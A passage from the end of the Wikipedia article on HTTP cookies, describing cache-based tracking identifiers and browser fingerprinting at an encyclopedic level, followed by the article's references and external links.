The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.

For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, `var userId = 3243242;`). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.

Browser fingerprint

A browser fingerprint is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.

Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible.[70][71] Assimilation of such information into a single string comprises a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting.[72] Canvas fingerprinting, a more recent technique, claims to add another 5.7 bits.

See also

- Dynamic HTML
- Enterprise JavaBeans
- Session (computer science)
- Secure cookie

References

1. *Vamosi, Robert (2008-04-14). "Gmail cookie stolen via Google Spreadsheets" . News.cnet.com. Retrieved 19 October 2017.*

2. *"What about the "EU Cookie Directive"?" . WebCookies.org. 2013. Retrieved 19 October 2017.*

3. *"New net rules set to make cookies crumble" . BBC. 2011-03-08.*

4. *"Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising" . Adage.com. 2011-05-06.*

5. *Want to use my wifi? , Jann Horn, accessed 2018-01-05.*

6. *"Where cookie comes from :: DominoPower" . dominopower.com. Retrieved 19 October 2017.*

7. *Raymond, Eric (ed.). "magic cookie" . The Jargon File (version 4.4.7). Retrieved 8 September 2017.*

8. *Schwartz, John (2001-09-04). "Giving Web a Memory Cost Its Users Privacy" . The New York Times.*

9. *Kesan, Jey; and Shah, Rajiv ; Deconstructing Code , SSRN.com, chapter II.B (Netscape's cookies), Yale Journal of Law and Technology, 6, 277–389*

10. *Kristol, David; HTTP Cookies: Standards, privacy, and politics, ACM Transactions on Internet Technology, 1(2), 151–198, 2001 doi:10.1145/502152.502153 (an expanded version is freely available at arXiv:cs/0105018v1 [cs.SE])*

11. *"Press Release: Netscape Communications Offers New Network Navigator Free On The Internet" . Web.archive.org. Archived from the original on 2006-12-07. Retrieved 2010-05-22.*

12. *"Usenet Post by Marc Andreessen: Here it is, world!" . Groups.google.com. 1994-10-13. Retrieved 2010-05-22.*

13. *Hardmeier, Sandi (2005-08-25). "The history of Internet Explorer" . Microsoft. Retrieved 2009-01-04.*

14. *Jackson, T (1996-02-12). "This Bug in Your PC is a Smart Cookie". Financial Times.*

15. *"Setting Cookies" . staff.washington.edu. June 19, 2009.*

16. *The edbrowse documentation version 3.5 said "Note that only Netscape-style cookies are supported. However, this is the most common flavor of cookie. It will probably meet your needs." This paragraph was removed in later versions of the documentation further to RFC 2965 's deprecation.*

17. *Hodges, Jeff; Corry, Bil (6 March 2011). " 'HTTP State Management Mechanism' to Proposed Standard" . The Security Practice. Retrieved 17 June 2016.*

18. *Microsoft Support Description of Persistent and Per-Session Cookies in Internet Explorer Article ID 223799, 2007*

19. *"Maintaining session state with cookies" . Microsoft Developer Network. Retrieved 22 October 2012.*

20. *" 'SameSite' cookie attribute, Chrome Platform tatus" . Chromestatus.com. Retrieved 2016-04-23.*

21. *Goodwin, Mark; West, Mike. "Same-site Cookies" . tools.ietf.org. Retrieved 2016-04-23.*

22. *Goodwin, M.; West. "Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00" . tools.ietf.org. Retrieved 2016-07-28.*

23. *"Third party domains" . WebCookies.org.*

24. *"Number of cookies" . WebCookies.org.*

25. *"Learn more about the Public Suffix List" . Publicsuffix.org. Retrieved 28 July 2016.*

26. *Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising" . The Center for Internet and Society. Retrieved 28 September 2011.*

27. *Vijayan, Jaikumar. "Microsoft disables 'supercookies' used on MSN.com visitors" . Retrieved 23 November 2014.*

28. *Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology" . Proquest. Online Information Review. Retrieved 29 March 2013.*

29. *Jim Manico quoting Daniel Stenberg, Real world cookie length limits*

30. *Rainie, Lee (2012). Networked: The New Social Operating System. p. 237*

31. *IETF HTTP State Management Mechanism, Apr, 2011 Obsoletes RFC 2965*

32. *"Persistent client state HTTP cookies: Preliminary specification" . Netscape. c. 1999. Archived from the original on 2007-08-05.*

33. *RFC 2965 , HTTP State Management Mechanism (IETF)*

34. *"Cookie Property" . MSDN. Microsoft. Retrieved 2009-01-04.*

35. *Shannon, Ross (2007-02-26). "Cookies, Set and retrieve information about your readers" . HTMLSource. Retrieved 2009-01-04.*

36. *"HTTP State Management Mechanism, The Path Attribute" . IETF. March 2014.*

37. *"RFC 6265, HTTP State Management Mechanism, Domain matching" . IETF. March 2014.*

38. *"RFC 6265, HTTP State Management Mechanism, The Domain Attribute" . IETF. March 2014.*

39. *"Internet Explorer Cookie Internals (FAQ)" . 21 November 2018.*

40. *"RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax" . IETF. March 2014.*

41. *"RFC 6265, HTTP State Management Mechanism" . ietf.org.*

42. *"Cookies specification compatibility in modern browsers" . inikulin.github.io. 2016. Retrieved 2016-09-30.*

43. *Coles, Peter. "HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles" . Mrcoles.com. Retrieved 28 July 2016.*

44. *"Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)"* *(PDF).* ***XIII****. Symantec Corp. April 2008: 1–3. Retrieved May 11, 2008.*

45. *Whalen, David (June 8, 2002). "The Unofficial Cookie FAQ v2.6" . Cookie Central. Retrieved 2009-01-04.*

46. *"3rd-Party Cookies, DOM Storage and Privacy" . grack.com: Matt Mastracci's blog. January 6, 2010. Retrieved 2010-09-20.*

47. *"How to Manage Cookies in Internet Explorer 6" . Microsoft. December 18, 2007. Retrieved 2009-01-04.*

48. *"Clearing private data" . Firefox Support Knowledge base. Mozilla. 16 September 2008. Retrieved 2009-01-04.*

49. *"Clear Personal Information : Clear browsing data" . Google Chrome Help. Google. Retrieved 2009-01-04.*

50. *"Clear Personal Information: Delete cookies" . Google Chrome Help. Google. Retrieved 2009-01-04.*

51. *"Site Compatibility for Firefox 22" , Mozilla Developer Network, 2013-04-11*

52. *Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33*

53. *"CIA Caught Sneaking Cookies" . CBS News. 2002-03-20.*

54. *"Spy Agency Removes Illegal Tracking Files" . New York Times. 2005-12-29.*

55. *"EU Cookie Directive, Directive 2009/136/EC" . JISC Legal Information. Retrieved 31 October 2012.*

56. *Privacy and Electronic Communications Regulations . Information Commissioner's Office. 2012.*

57. *"Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data" . 1995-11-23: 0031–0050. Retrieved 31 October 2012.*

58. *"New EU cookie law (e-Privacy Directive)" . Archived from the original on 24 February 2011. Retrieved 31 October 2012.*

59. *"EU cookie law: stop whining and just get on with it" . Retrieved 31 October 2012.*

60. *"A Loophole Big Enough for a Cookie to Fit Through" . Bits. The New York Times. Retrieved 31 January 2013.*

61. *Pegoraro, Rob (July 17, 2005). "How to Block Tracking Cookies" . Washington Post. p. F07. Retrieved 2009-01-04.*

62. *Wired Hack Obtains 9 Bogus Certificates for Prominent Websites*

63. *Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation" . Retrieved 2010-10-14.*

64. *Tilkov, Stefan (July 2, 2008). "REST Anti-Patterns" . InfoQ. Retrieved 2009-01-04.*

65. *"ThomasFrank.se" . ThomasFrank.se. Retrieved 2010-05-22.*

66. "The cookie is dead. Here's how Facebook, Google, and Apple are tracking you now, VentureBeat, Mobile, by Richard Byrne Reilly" . *VentureBeat.*

67. "Window.sessionStorage, Web APIs | MDN" . *developer.mozilla.org. Retrieved 2 October 2015.*

68. "Introduction to Persistence" . *microsoft.com. Microsoft.*

69. "Isolated Storage" . *Microsoft.com.*

70. "BrowserSpy" . *gemal.dk. Retrieved 2010-01-28.*

71. "IE "default behaviors [sic]" browser information disclosure tests: clientCaps" . *Mypage.direct.ca. Retrieved 2010-01-28.*

72. *Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?" (PDF). eff.org. Electronic Frontier Foundation. Archived from the original (PDF) on 15 October 2014. Retrieved 23 July 2014.*

External links

Listen to this article (info/dl)

0:00 / 0:00

This audio file was created from a revision of the article "HTTP cookie" dated 2016-05-28, and does not reflect subsequent edits to the article. (Audio help)

More spoken articles

Wikimedia Commons has media related to ***HTTP cookies***.

- RFC 6265 , the current official specification for HTTP cookies
- HTTP cookies , Mozilla Developer Network
- Using cookies via ECMAScript , Mozilla Developer Network
- How Internet Cookies Work at HowStuffWorks

- Cookies at the Electronic Privacy Information Center (EPIC)
- Mozilla Knowledge-Base: Cookies
- Cookie Domain, explain in detail how cookie domains are handled in current major browsers

Retrieved from "https://en.wikipedia.org/w/index.php?title=HTTP_cookie&oldid=884126172"

Last edited 3 days ago by Pmffl